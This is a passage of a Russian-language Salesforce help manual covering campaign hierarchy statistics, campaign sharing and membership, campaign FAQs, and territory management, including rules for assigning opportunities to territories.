использованием всех связанных записей, независимо от
наличия права на их чтение.

Все кампании в иерархии должны использовать
одинаковую валюту.

Если в организации включена поддержка нескольких
валют, то стоимость возможности преобразуется в валюту
кампании. Если валюта пользователя не соответствует
валюте кампании, то стоимость преобразуется в валюту
пользователя.

Если в организации включена функция расширенного
управления валютами, то стоимости возможностей
преобразуются в валюту кампании с помощью
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датированных курсов обмена. Если валюта кампании не
соответствует валюте пользователя, то общая стоимость
возможности преобразуется с помощью стандартных
курсов обмена (вместо датированных) и отображается в
скобках.

В отличие от полей настраиваемойформулы, формулы,
используемые в бизнес-правилах, правилах проверки,
обновлениях полей или процессах утверждения, не могут
ссылаться на данное поле. Обновления данного поля не
инициируют выполнение бизнес-правил.

Вычисляемое поле для общего количества реализованных
возможностей, связанных с иерархией кампаний. Система

Итого реализованных возможностей в иерархии

Salesforce автоматически вычисляет данное значение с
использованием всех связанных записей, независимо от
наличия права на их чтение. В отличие от полей
настраиваемойформулы, формулы, используемые в
бизнес-правилах, правилах проверки, обновлениях полей
или процессах утверждения, не могут ссылаться на данное
поле. Обновления данного поля не инициируют
выполнение бизнес-правил.

Тип кампании (например, прямая почтовая рассылка или
программа рекомендаций). Запись выбирается из

Тип

раскрывающегося списка доступных значений, заданных
администратором. Каждое значение раскрывающегося
списка может содержать не более 40 символов.

1445

Планирование, управление и отслеживание кампанийПродажи клиентам



Предоставление общего доступа к кампаниям

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience

Доступно в версиях:
Professional Edition,
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для просмотра кампаний:
• «Чтение» для кампаний

Для предоставления общего
доступа к кампаниям:
• «Чтение» для кампаний

И

Флажок «Пользователь
Marketing»,
установленный на
странице сведений о
пользователе

Модель общего доступа организации к кампаниям определяется администратором.
Однако, полномочия общего доступа к кампаниям могут быть расширены в
индивидуальном порядке. Предоставление общего доступа к кампаниям позволяет
расширить текущий уровень доступа; стандартные уровни доступа организациинемогут
быть дополнительно ограничены.

Для просмотра и управления сведениями об общем доступе нажмите кнопку «Общий
доступ» на странице сведений о кампании. Страница «Сведения об общем доступе»
содержит список пользователей, групп, ролей и территорий, имеющих общий доступ
к кампании. Ниже перечислены действия, доступные на данной странице.

• Чтобы просмотреть отфильтрованный список элементов, выберите нужное
представление в раскрывающемся списке «Просмотр» илищелкните ссылку
«Создать новое представление» для разработки собственных настраиваемых
представлений. Чтобы изменить или удалить любое созданное представление,
выберите еговраскрывающемсясписке «Просмотр» ищелкнитессылку «Правка».

• Чтобыпредоставитьдругимпользователям, группам, ролямилитерриториямдоступ
к записи, нажмите кнопку «Добавить».

• Чтобыпросмотреть всехпользователей, имеющихдоступ к записи, нажмите кнопку
«Развернуть список».

• Чтобы изменить или удалить уровень доступа, щелкните ссылку «Правка» или
«Удал.» напротив нужного элемента списка при использовании созданных правил
общего доступа, предоставляемого вручную.

Особые рекомендации

• Общийдоступк кампанииможетбытьпредоставленприналичиидоступа «Полный
общийдоступ» к кампанииифлажка «Пользователь Marketing», установленного
на странице сведений о пользователе.

• Наличиекнопки«Общийдоступ»определяетсяединымистандартнымипараметрами
для кампаний.

• Убедитесь, что пользователям, которым предоставляется общий доступ к записям, назначено соответствующее
полномочие объекта «Чтение», позволяющее просматривать общедоступные записи.

• Припредоставленииобщего доступа к кампаниипользовательнеполучает автоматическийдоступнапросмотр всех
участников кампании. Убедитесь, что пользователь, которому предоставляется общий доступ к кампании, может
просматривать связанные интересы или контакты.

• Поля статистики по иерархии кампаний содержат сводные данные для родительской кампании и всех подчиненных
ейкампаний, независимоотналичияупользователяправобщегодоступакопределеннойкампаниииерархии. Таким
образом, привключениистатистикипоиерархиикампанийследуетучитыватьпараметрыобщегодоступаккампаниям,
заданные в организации. Чтобы скрыть сводные данные по иерархии, удалите некоторые или все поля статистики из
связанного списка «Иерархия кампаний». Тем не менее, данные поля будут доступны для составления отчетов.

СМ. ТАКЖЕ:

Просмотр иерархий кампаний

Просмотр статистики по иерархии кампаний
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Добавление нескольких контактов и интересов в кампании

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience

Доступно в версиях:
Professional Edition,
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Добавление нескольких
контактов, интересов и
организаций-лиц в
кампании:
• «Пользователь

Marketing» на
странице сведений о
пользователе

И

«Редактирование» для
кампаний

И

«Чтение» для контактов,
интересов и
организаций-лиц

Быстродобавляйте в кампаниимножество контактов, интересовиорганизаций-лицкак
участников одновременно.

1. В кампании нажмите «Управление участниками».

2. Выберите пункт «Добавить участников — текущие контакты» или «Добавить
участников — текущие интересы».

3. Впервомдействиимастера выберите значение статуса участника кампании, которое
должно быть назначено новым участникам.

4. Нажмите кнопку «Далее».

5. Выберите нужные записи для добавления в качестве участников кампании.

СМ. ТАКЖЕ:

Добавление контактов или интересов в кампанию из спискового представления
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Планирование, управление и отслеживание кампаний. Вопросы и ответы

Кампании. Вопросы и ответы

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience

Доступно в версиях:
Professional Edition,
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

• Можно ли использовать пакетные рассылки в кампаниях электронных рассылок?

• Как определить возможности, созданные в результате проведения кампании?

• Как рассчитать рентабельность инвестиций для моих кампаний?

• Как добавить контакты и интересы в мои кампании?

• Как работает поле «Основной источник кампании»?

• Чем влияние кампании отличается от отчетов по рентабельности инвестиций?

• Кому доступны кампании?

СМ. ТАКЖЕ:

Кампании

Можно ли использовать пакетные рассылки в кампаниях электронных рассылок?
Пакетные рассылки предназначены для отправки сообщений эл. почты по продажам и поддержке ограниченному кругу
лиц и не могут использоваться в маркетинговых целях. При проведении маркетинговых кампаний рекомендуем
использовать сторонние продукты для отправки сообщений эл. почты.

СМ. ТАКЖЕ:

Кампании. Вопросы и ответы

Как добавить контакты и интересы в мои кампании?

Обычно кампании нацелены на текущих клиентов (контакты) или потенциальных клиентов (интересы). Контакты и
интересы могут быть связаны с кампаниями в качестве их участников. Чтобы добавить участников, нажмите
раскрывающуюсякнопку «Управление участниками» в разделе сведенийо кампанииилив связанномсписке «Участники
кампании» на странице сведений о кампании и выберите один из указанных ниже пунктов.

• «Добавить участников — поиск»: добавление участников кампании из результатов поиска.

• «Добавитьучастников — импортфайла»: добавлениеучастниковкампаниипутемимпортаинтересовиз CSV-файла.

• «Редактировать участников — поиск»: просмотр, обновление или удаление текущих участников кампании.

• «Обновить и добавить участников — импортфайла»: редактирование статуса участника кампании посредством
файла импорта.

В таблицах ниже описаны дополнительные методы добавления участников кампании.

Добавление контактов в кампании

Максимальное количество записейРекомендованное средство
добавления участников кампании

Источник контакта

50 000 для каждого отчетаДобавление участников кампании из
отчетов

Отчет по текущим контактам
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Добавление контактов в кампании

Максимальное количество записейРекомендованное средство
добавления участников кампании

Источник контакта

50 000 для каждого файла импортаОбновление статуса участника
кампании

CSV-файл, содержащий текущие
контакты

250 для каждой страницы со спискомДобавление контактов или интересов
в кампанию из спискового
представления

Списковое представление текущих
контактов

Добавление интересов в кампании

Максимальное количество записейРекомендованное средство
добавления участников кампании

Источник интереса

50 000 для каждого отчетаДобавление участников кампании из
отчетов

Отчет по текущим интересам

50 000 для каждого файла импортаИспользование мастера импорта
данных с кампаниями

CSV-файл, содержащий новые
интересы

250 для каждой страницы со спискомДобавление контактов или интересов
в кампанию из спискового
представления

Списковое представление текущих
интересов

СМ. ТАКЖЕ:

Кампании. Вопросы и ответы

Как рассчитать рентабельность инвестиций для моих кампаний?

Отчет «Анализ рентабельности инвестиций кампании» доступен в папке «Отчеты по кампаниям» на вкладке «Отчеты».
Данный отчет позволяет определить эффективность кампаний по рентабельности инвестиций и средним затратам.
Ниже перечислены показатели, рассчитываемые для каждой кампании в отчете.

• Рентабельность инвестиций (в процентах), рассчитываемая как чистая прибыль («Итого ценность реализованных
возможностей» — «Фактические затраты»), поделенная на значение «Фактические затраты».

• Значение «Итого ценность реализованных возможностей», рассчитываемое как стоимость всех закрытых или
реализованных возможностей, в поле «Основной источник кампании» которых указана данная кампания.

СМ. ТАКЖЕ:

Кампании. Вопросы и ответы

Как определить возможности, созданные в результате проведения кампании?

Одноизосновныхпреимуществкампанийзаключаетсявотслеживаниивозможностей, созданныхврезультатепроведения
каждойкампании. Полевозможности «Основной источник кампании» позволяет указать, чтовозможностьбыласоздана
в результате проведения определенной кампании.
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Кроме того, при преобразовании интереса, связанного с кампанией, эта кампания автоматически добавляется в поле
возможности «Основной источник кампании».

Если интерес или контакт связан с несколькими кампаниями, то поле возможности «Основной источник кампании»
заполняется последней связанной кампанией.

Связанныйсписоккампании «Возможности» содержитвсевозможности, связанныесданнойкампанией. Чтобыопределить
возможности, связанные с кампаниями, запустите отчет «Доход от кампании».

СМ. ТАКЖЕ:

Кампании. Вопросы и ответы

Как работает поле «Основной источник кампании»?

Поле «Основной источник кампании» содержит кампанию, которая была связана с интересом до его преобразования.
Данное значение может быть вручную изменено на странице сведений об интересе. Кроме того, указанной кампании
предоставляется 100% от величины дохода.

СМ. ТАКЖЕ:

Кампании. Вопросы и ответы

Чем влияние кампании отличается от отчетов по рентабельности инвестиций?

Влияние кампании позволяет отслеживать ожидаемые ифактические доходы от различных кампаний, а также связывать
возможностисовсемикампаниямидляроликонтакта сцельюсозданияотчетовпоожидаемымдоходамирентабельности
инвестиций. Отчеты по рентабельности инвестиций идеально подходят для анализа долгосрочных сделок, особенно в
тех случаях, когда закрытие сделки или преобразование интереса было выполнено в результате проведения нескольких
кампаний.

СМ. ТАКЖЕ:

Кампании. Вопросы и ответы

Кому доступны кампании?

В зависимости от параметров общего доступа, пользователи организации могут просматривать кампании или
дополнительные параметры кампании, а также запускать отчеты по кампаниям. Тем не менее, создание, редактирование
и удаление кампаний, а также настройка дополнительных параметров кампаний, доступны только выбранным
пользователям Marketing, которым предоставлены соответствующие полномочия. Чтобы предоставить пользователю
полномочия Marketing, администраторорганизациидолженустановитьфлажок «Пользователь Marketing» настранице
личных сведений о пользователе.

Кроме того, пользователи Marketing могут импортировать интересы и использовать мастера импорта кампаний при
наличии соответствующего профиля (или полномочий «Импорт интересов» и «Редактирование» для кампаний).

СМ. ТАКЖЕ:

Кампании. Вопросы и ответы
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Просмотр модели территории организации

ВЕРСИИ

Доступно в версиях:
Salesforce Classic.

Доступно в версиях:
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для просмотра активной
модели территории:
• «Просмотр настройки и

конфигурации»

Модельтерриториисодержитиерархию, а такжесписковоепредставлениеродительских
и дочерних территорий. Рекомендуемпросмотретьмодель территориипользователям,
которые управляют, администрируют или принадлежат территории продаж. Чтобы
просмотреть важные сведения об отдельных территориях, включая назначенные
организации, воспользуйтесь детализацией.

Прим.: Данные сведения относятся только к функции управления территориями
предприятия.

1. В настройке введите «Модели территории» в поле «Быстрый поиск» в меню
«Настройка», затем выберите «Модели территории». Списковое представление
отображает активные модели территории организации. Чтобы просмотреть
соответствующую страницу сведений, щелкните метку нужной модели. Помимо
других сведений, данная страница содержит время последнего выполнения правил
назначения.

2. Щелкните ссылку «Просмотриерархии» напротив нужной модели из спискового
представления.

3. Чтобы развернуть и просмотреть дерево иерархии, щелкните «Древовидное
представление».

4. Чтобы просмотреть соответствующую страницу сведений, содержащую тип
территории, список назначенных пользователей, уровни их доступа и правила назначения, щелкните метку нужной
территории внутри иерархии.

5. Откройте иерархию территорий модели вверху страницы и просмотрите другие территории.

СМ. ТАКЖЕ:

Иерархия территорий
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Идентификация территорий продаж организации

ВЕРСИИ

Доступно в версиях:
Salesforce Classic.

Доступно в версиях:
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для идентификации
территории продаж
организации:
• «Чтение» для

организаций

Системапозволяетопределять территориипродаж, которымпринадлежаторганизации.

Прим.: Данные сведения относятся только к функции управления территориями
предприятия.

1. Откройте нужную запись организации.

2. Просмотритетерриторииорганизациивсвязанномсписке «Назначениятерритории».

СМ. ТАКЖЕ:

Просмотр списка организаций в территориях
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Просмотр списка организаций в территориях

ВЕРСИИ

Доступно в версиях:
Salesforce Classic

Доступно в версиях:
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для просмотра территорий
во всех моделях территории
организации:
• «Управление

территориями»

Для просмотра территорий
в модели территории
организации в состоянии
«Активно»:

• «Просмотр настройки и
конфигурации»

Для просмотра
организаций:
• «Чтение» для

организаций

Создайте списковое представление, которое отображает организации, назначенные
соответствующим территориям.

Прим.: Данные сведения относятся только к функции управления территориями
предприятия.

Фильтр «Мои территории» отображает организации, которые принадлежат
территориям, назначенным пользователю. Фильтр «Мои группы, работающие с
территориями» отображает организации для территорий, назначенных пользователю,
и их потомков (при их наличии).

1. Откройте вкладку «Организации» ищелкните ссылку «Правка» напротив меню
«Просмотр».

2. Введите имя представления и установите переключатель «Мои территории» или
«Мои группы, работающие с территориями» в критериях фильтрации. При
необходимости добавьте другие фильтры.

3. Выберите другие поля дляфильтрации, а затем выберите поле «Имя организации» и
любые другие поля для отображения в списковом представлении.

4. Нажмите кнопку «Сохранить».

Управление организациями по территории

Управление территориями

ВЕРСИИ

Доступно в версиях:
Salesforce Classic.

Доступно в версиях:
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

Функция управления территориями — это система общего доступа к организациям на
основеиххарактеристик. Этасистемапозволяетструктурироватьданныеипользователей
Salesforce по аналогии с территориями сбыта.

1453

Просмотр списка организаций в территорияхПродажи клиентам



Прим.: Данныесведенияотносятсятолькокисходнойфункцииуправлениятерриториями.Оригинальноеуправление
территориями доступно только с настраиваемыми прогнозами и не поддерживается совместными прогнозами.
Если первоначальное управление территориями активно, то использование совместных прогнозов недоступно.
Использование новейшейфункции управления территориями предприятия невозможно с настраиваемыми
прогнозами. Функция управления территориями предприятия и функция «Совместные прогнозы» могут быть
одновременно включены и использоваться в организации Salesforce, но в настоящее время не интегрированы для
совместной работы.

В частности, пользователям организации, использующей модель общего доступа «Личный», может быть предоставлен
доступкорганизациямнаосноветакихкритериев, какпочтовыйиндекс, отрасль, доходилисоответствующеенастраиваемое
поле. Кроме того, даннаяфункцияпозволяет создаватьпрогнозыдляразныхкатегорийорганизаций. Благодарярешению
этихбизнес-задач, функцияуправлениятерриториямиявляетсяэффективныминструментомструктуризациипользователей
и организаций, а также связанных с ними контактов, возможностей и обращений.

Прим.: Включениефункцииуправлениятерриторияминеменяетответственностьзаорганизациииобщийдоступ
к записям.

Ниже перечислены основные преимущества функции управления территориями.

• Возможность использования критериев организации для расширения модели общего доступа «Личный».

• Поддержка сложных и часто меняющихся структур торговых организаций.

• Перенос пользователей между территориями (с сохранением возможностей).

• Множество прогнозов для каждого пользователя (на основе участия в территории).

• Отчеты по продажам на основе территорий.

Прим.: Функция управления территориями распространяется только на организации и стандартные объекты,
связанные с организациями посредством взаимосвязи «Основная — подробная». Например, функция управления
территориями охватывает возможности, но не охватывает интересы.

Что такое территория?
Территория — это универсальная группа организаций и пользователей, в которой организации, независимо от их
ответственных, доступны пользователям как минимум для чтения. Благодаря настройке параметров территории,
организации данной территориимогут быть доступныпользователям для чтения, чтения и записи или без ограничений
(то есть, просмотр, редактирование, перенос и удаление записей). Организации и пользователи могут относиться к
нескольким территориям. Организации могут быть добавлены в территории вручную или автоматически (с помощью
правил назначения организаций).

Также можно контролировать доступ пользователей к возможностям и обращениям, связанным с организациями на
территории, независимо от того, кто владеет записями.

Что такое иерархия территорий?

Территорииформируютиерархию, котораяможетсодержатьлюбоеколичествовложенныхуровней. Например, иерархия
может включать территорию верхнего уровня «Мировые продажи» и дочерние территории «Северная Америка»,
«Европа/БлижнийВосток», «ЛатинскаяАмерика», «Африка» и «Азия/Австралия». Территория «СевернаяАмерика» может
включать дочерние территории «Канада» и «США». Территория «США» может включать дочерние территории «Запад»,
«Север», «Юг» и «Восток». А территория «Запад» может включать дочерние территории «Калифорния», «Орегон»,
«Вашингтон», «Невада», «Аризона» и «Юта».

Иерархия территорий может быть создана на основе любого признака, а не только географического.
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Как территории влияют на прогнозы?

Привключениифункцииуправления территориямидляорганизациииерархия территорийтакже становитсяиерархией
прогнозов. Данные прогноза извлекаются из возможностей, связанных с организациями из собственных территорий.
Для каждой назначенной территории составляется отдельный прогноз. Например, если вас назначили на штаты
Калифорния и Аризона, у вас будут отдельные прогнозы по имеющимся на каждой территории возможностям. См.
раздел «Просмотр настраиваемых прогнозов» на странице 1686.

СМ. ТАКЖЕ:

Управление территориями

Создание иерархии территорий

Управление территориями. Вопросы и ответы

Управление территориями

ВЕРСИИ

Доступно в версиях:
Salesforce Classic.

Доступно в версиях:
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для управления
территориями:
• «Управление

территориями»

ИЛИ

You are a forecast
manager. Forecast
managers can manage
territories of those users
working below them in
territory hierarchy.

Прим.: Данные сведения относятся только к исходной функции управления
территориями.

Ниже перечислены задачи управления территориями организации.

• Создание иерархий территорий, которые соответствуют требованиям организации
к прогнозам и способу взаимодействия пользователей организации.

• Настройка единых параметров управления территориями.

• Создание и редактирование территорий.

• Назначение пользователей территориям.

• Определение правил назначения организации, которые оценивают организации и
назначают их территориям.

• Выбор организаций из списка и их назначение территориям вручную.

СМ. ТАКЖЕ:

Управление территориями

Включение функции управления территориями

Управление территориями. Вопросы и ответы
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Назначение возможностей территориям

ВЕРСИИ

Доступно в версиях:
Salesforce Classic.

Доступно в версиях:
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для создания возможностей:
• «Создание» для

возможностей

Прим.: Данные сведения относятся только к исходной функции управления
территориями.

Возможность может быть назначена территории при создании возможности (вручную
или путем преобразования интереса) или при выполнении правил назначения
организации, которые влияют на текущие возможности. Данный раздел включает
указанные ниже подразделы.

• Назначение территорий для возможностей, созданных вручную

• Назначение территорий для преобразованных интересов

• Примечания к назначению территорий для возможностей

Назначение территорий для возможностей, созданных вручную
Если для создания возможности используется вкладка «Возможности» или раздел
«Быстрое создание» на боковой панели, то система Salesforce сравнивает территории,
связанные с организацией возможности, с территориями, участником которых является
ответственный за возможность.

• Еслиорганизацияиответственныйза возможностьпринадлежатоднойтерритории,
то возможностьназначается этойтерриториитольков томслучае, еслиустановленфлажок «Присохраненииоценить
данную организацию по правилам территории».

• Если организация и ответственный за возможность принадлежат нескольким общим территориям, то возможность
неназначаетсяавтоматическиниоднойизэтихтерриторий. Ответственныйзавозможностьдолженвручнуюназначить
территорию этой возможности.

• Если организация и ответственный за возможность принадлежат разным территориям, то ответственный не может
назначить возможность территории.

Назначение территорий для преобразованных интересов
Ниже перечислены условия назначения территории в случае преобразования интереса в возможность.

• Количество территорий, назначенных организации, которая связана с возможностью

• Принадлежность ответственного за интерес и организации к одной территории

• Количество пользователей, назначенных территории

• Назначение менеджера прогнозов для территории

Чтобы определить способ назначения территории возможности, воспользуйтесь таблицей ниже в том случае, если
организация, связанная с возможностью, назначена только одной территории.
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РезультатыМенеджер прогнозов
назначен территории

Количество
пользователей,
назначенных
территории

Ответственный
за интерес и
организация
принадлежат
одной
территории

Возможность назначается той же территории,
что и организация; ответственный за интерес
становится ответственным за возможность.

—1Да

Возможность назначается той же территории,
что и организация; ответственный за

—1Нет

возможность является единственным
участником территории.

Возможность назначается той же территории,
что и организация; ответственный за интерес

—0Нет

становится ответственным за возможность.
Ответственный за интерес добавляется в
качестве неактивного участника территории.

Возможность назначается той же территории,
что и организация; менеджер прогнозов
становится ответственным за возможность.

Да>1Да

Возможность назначается той же территории,
что и организация; ответственный за интерес
становится ответственным за возможность.

Нет>1Да

Возможностьназначаетсяменеджерупрогнозов
территории.

Да>1Нет

Возможность назначается той же территории,
что и организация; ответственный за интерес

Нет>1Нет

становится ответственным за возможность.
Ответственный за интерес добавляется в
качестве неактивного участника территории.

Чтобы определить способ назначения территории возможности, воспользуйтесь таблицей ниже в том случае, если
организация, связанная с возможностью, назначена нескольким территориям.

РезультатыУчастники территории ответственного за интерес

Возможность не назначается ни одной из
территорий; ответственный за интерес

Ответственный за интерес и организация имеют одну общую
территорию

становится ответственным за возможность.
Ответственный за возможность может
назначить возможность для территории
организации.
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РезультатыУчастники территории ответственного за интерес

Возможность не назначается ни одной из
территорий; ответственный за интерес

Ответственный за интерес и организация имеют несколько общих
территорий

становится ответственным за возможность.
Ответственный за возможность может
назначить возможность любой общей
территории.

Возможность не назначается ни одной из
территорий; ответственный за интерес

Ответственныйзаинтересиорганизациянеимеютобщихтерриторий

становится ответственным за возможность.
Ответственный за возможность не может
назначить возможность ни одной из
территорий.

Примечания к назначению территорий для возможностей
• Ниже перечислены действия, которые не меняют территорию возможности.

– Назначение организации возможности вручную территории

– Изменение организации, связанной с возможностью

– Изменениетерриторииорганизацииврезультате выполненияправилназначенияорганизаций, есливозможность
и ее организация принадлежат разным территориям

– Перенос возможности новому ответственному

• Если поле возможности «Дата закрытия» содержит значение, которое предшествует текущей дате, а поле «Этап»
содержит значение «Закрыто и реализовано» или «Закрыто и не реализовано», то такая возможность не обновляется
правилами назначения территории.

• Рекомендуемуведомлятьпользователейоналичиивозможности, котораядолжнабытьназначенатерриториивручную,
нонебыланазначенав течениеодногодня. Чтобыуведомитьпользователейоналичииненазначенныхвозможностей,
настройте контролируемое по времени бизнес-правило.

• Восстановление организации или возможности из корзины инициирует восстановление назначения территории,
но не активирует оценку правил назначения организаций. Восстановленная запись может использовать территории,
которые не соответствуют новым правилам назначения организаций, заданным во время хранения данной записи в
корзине.

• Назначениетерриториидля возможностей, которыепакетноилипоотдельностипереносятсяотодногопользователя
другому, остается без изменений. Если пользователь, которому назначаются возможности, больше не является
участником территории возможности, то он добавляется в качестве неактивного участника территории.

• Открытые возможности пользователей, которые удаляются из территории, могут быть назначены другому
пользователю. Кроме того, возможности пользователей, переносимых из одной территории в другую, могут быть
сохранены за этими пользователями или назначены новым получателям. Ниже описаны действия, выполняемые в
случае отсутствия получателя.

– Если родительской территории назначен менеджер прогнозов, то он становится ответственным за открытые
возможности пользователя. Менеджер прогнозов назначается территории, а флажок «Активно в территории»
снимается.
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– Если родительской территории не назначен менеджер прогнозов, то пользователь остается в территории, а
флажок «Активно в территории» снимается.

СМ. ТАКЖЕ:

Управление правилами назначения организации

Создание и редактирование правил назначения организации
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Просмотр списков организаций, назначенных вручную

ВЕРСИИ

Доступно в версиях:
Salesforce Classic.

Доступно в версиях:
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для просмотра списков
организаций, назначенных
вручную:
• «Просмотр настройки и

конфигурации»

Для удаления организаций:
• «Управление

территориями»

И

«Редактирование» для
организаций

ИЛИ

Пользователь является
менеджером прогнозов,
установлен флажок
«Управление
территориями может
осуществляться
менеджерами
прогнозов»,
пользователь работает
ниже собственного
уровня в иерархии
территорий,
пользователю
предоставлено
полномочие
«Редактирование» для
организаций.

Прим.: Данные сведения относятся только к исходной функции управления
территориями.

Страница со списком организаций, назначенных вручную, содержит организации,
назначенные выбранной территории. Данная страница позволяет просмотреть
подробные сведения об организации, удалить организации из территорий и получить
доступ к другим связанным данным.

• Чтобы просмотреть отфильтрованный список элементов, выберите нужное
представление в раскрывающемся списке «Просмотр» илищелкните ссылку
«Создать новое представление» для разработки собственных настраиваемых
представлений.

• Чтобы просмотреть сведения об организации, щелкните имя нужной организации.

• Чтобы удалить организациюиз территории, щелкните ссылку «Удалить»напротив
имени нужной организации.

СМ. ТАКЖЕ:

Управление территориями

Управление пользователями в территориях
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Управление организациями по территории. Вопросы и ответы

Управление территориями. Вопросы и ответы

ВЕРСИИ

Доступно в версиях:
Salesforce Classic.

Доступно в версиях:
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

Прим.: Данные сведения относятся только к исходной функции управления
территориями.

• Как система Salesforce обрабатывает функцию управления территориями?

• Переносятся ли возможности другим пользователям при выполнении правил
назначения организаций?

• Отличается ли иерархия территорий от иерархии ролей?

• Каким образом возможности назначаются территориям?

• Чемотличаютсяорганизации, назначенныевручную, оторганизаций, назначенных
правилами назначения?

• Как работают ограничения возможностей?

• Должны ли пользователю назначаться территории, назначенные его возможностям?

• Что происходит при восстановлении организации или возможности, назначенной территории?

• Какие типы записей поддерживают территории?

• При каких условиях правила назначения оценивают организации?

СМ. ТАКЖЕ:

Управление территориями

Как система Salesforce обрабатывает функцию управления территориями?

Прим.: Данные сведения относятся только к исходной функции управления территориями.

Версии Enterprise Edition, Unlimited Edition, Performance Edition и Developer Edition поддерживают функцию управления
территориями, которая позволяет объединять пользователей в территории и предоставлять доступ к организациям, а
также связанным возможностям и обращениям.

Версия Professional Edition поддерживает иерархию ролей Salesforce, которая позволяет управлять сведением данных,
доступных в территориях компании. Структура данной иерархии определяется иерархией ролей, а не должностями
сотрудников, так как одной и той же роли может быть назначено несколько сотрудников с разными должностями.
Пользователям всегда доступны собственные данные, а также данные, принадлежащие нижестоящим пользователям в
иерархии ролей. Кроме того, роль определяет данные, доступные пользователю при работе с прогнозами.

Обычно в организации используется трехуровневая иерархия ролей. См. пример ниже.

• Роль верхнего уровня может быть назначена вице-президентам по продажам, маркетингу и обслуживаниюклиентов,
а такжефинансовомудиректору. Данныепользователимогутпросматриватьвсюинформацию, доступнуюнанижних
уровнях, а также выполнять ее сведение.
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• Роль среднего уровня может быть назначена региональнымменеджерам. Данные пользователимогут просматривать
только собственную информацию и информацию, доступную нижестоящим сотрудникам. Например, менеджер
западного региона может просматривать и сводить только те данные, которые принадлежат пользователям с ролью
«Торговые представители западного региона».

• Роль нижнего уровня может быть назначена торговым представителям. Данные пользователи могут просматривать
и сводить только собственную информацию, так как они не имеют подчиненных сотрудников.

Прим.: Иерархия ролей и модель общего доступа к организации позволяют определить данные, которые должны
бытьдоступныпользователям, приусловии, чтоиспользованиеиерархийразрешенопараметрамиобщегодоступа.
Кроме того, роль всегда определяет данные, доступные пользователю при работе с прогнозами, независимо от
модели общего доступа. В модели общего доступа «Личный» роль определяет уровень доступа пользователя к
даннымдругихпользователей. Однако, еслимоделиобщегодоступа задано значение «Общедоступный: длячтения
и записи» или «Общедоступный: только для чтения», то пользователи могут просматривать (и редактировать, если
выбранозначение «Общедоступный: длячтенияизаписи») сведения, принадлежащиелюбомудругомупользователю,
а также просматривать данные нижестоящих пользователей в иерархии.

СМ. ТАКЖЕ:

Управление территориями. Вопросы и ответы

Управление территориями

Переносятся ли возможности другим пользователям при выполнении правил назначения
организаций?

Прим.: Данные сведения относятся только к исходной функции управления территориями.

Ниже перечислены условия, при выполнении которых пользователю автоматически назначается ответственность за
возможность, переназначенную территории пользователя в результате выполнения правил назначения организаций.

• Пользователь является единственным участником территории.

• Пользователь является единственным менеджером прогнозов в территории.

• Пользователь является единственным участником территории, которому доступно прогнозирование.

Еслиперечисленныевышеусловияневыполняются, тоисходныйответственныйзавозможностьдобавляетсявтерриторию
в качестве неактивного участника.

СМ. ТАКЖЕ:

Управление территориями. Вопросы и ответы

Отличается ли иерархия территорий от иерархии ролей?

Прим.: Данные сведения относятся только к исходной функции управления территориями.

Да. Иерархия территорий и иерархия ролей не зависят друг от друга. См. таблицу сравнения ниже.

Иерархия ролейИерархия территорий

Доступно по умолчаниюДоступно после обращения в компанию Salesforce
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Иерархия ролейИерархия территорий

Невлияетнапрогнозы, есливключенафункцияуправления
территориями

Определяет прогнозы

Позволяет назначать пользователя только одной ролиПозволяетназначатьпользователянесколькимтерриториям

Влияет на все остальные отчетыВлияет на отчеты по организациям и возможностям

Предоставляетдоступкзаписямнаосновеответственности.
Пользователи получают наиболее высокий уровень
доступа.

Предоставляет доступ к записям, независимо от
ответственности. Пользователи получают наиболее
высокий уровень доступа.

СМ. ТАКЖЕ:

Управление территориями. Вопросы и ответы

Каким образом возможности назначаются территориям?

Прим.: Данные сведения относятся только к исходной функции управления территориями.

Возможности автоматически присваиваются территориям на основе следующих действий.

• Создание новой возможности

• Выполнение правил назначения организаций

Ниже перечислены условия автоматического назначения возможностей территории организации.

– Возможность не использует территорию, а ее организация добавлена в территорию.

– Организация переносится между территориями. Если правило назначения организаций запрещает перенос
возможностей за пределы отдельной области иерархии территорий, то возможности не переносятся, а их
принадлежность к территориям отменяется.

Ниже перечислены условия, при выполнении которых возможности не назначаются территории организации
автоматически.

– Организация удаляется из территории и назначается новой территории позднее. Возможности организации из
исходной территории больше не принадлежат территориям.

– Организация одновременно переназначается нескольким территориям. Возможности организации из исходной
территории больше не принадлежат территориям (если не установлен флажок «Ограничить назначение
возможности»).

Прим.: Ответственный за возможность, который не принадлежит новой территории, добавляется в качестве
неактивного участника территории.

Следующие действия не изменяют территорию возможности.

• Назначение организации возможности вручную территории

• Изменение организации, связанной с возможностью

• Изменение территории организации в результате выполнения правил назначения организаций, если возможность
и ее организация принадлежат разным территориям
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• Перенос возможности новому ответственному

СМ. ТАКЖЕ:

Управление территориями. Вопросы и ответы

Чем отличаются организации, назначенные вручную, от организаций, назначенных правилами
назначения?

Прим.: Данные сведения относятся только к исходной функции управления территориями.

Организации, назначенные вручную, не оцениваются при выполнении правил назначений организаций. Организации,
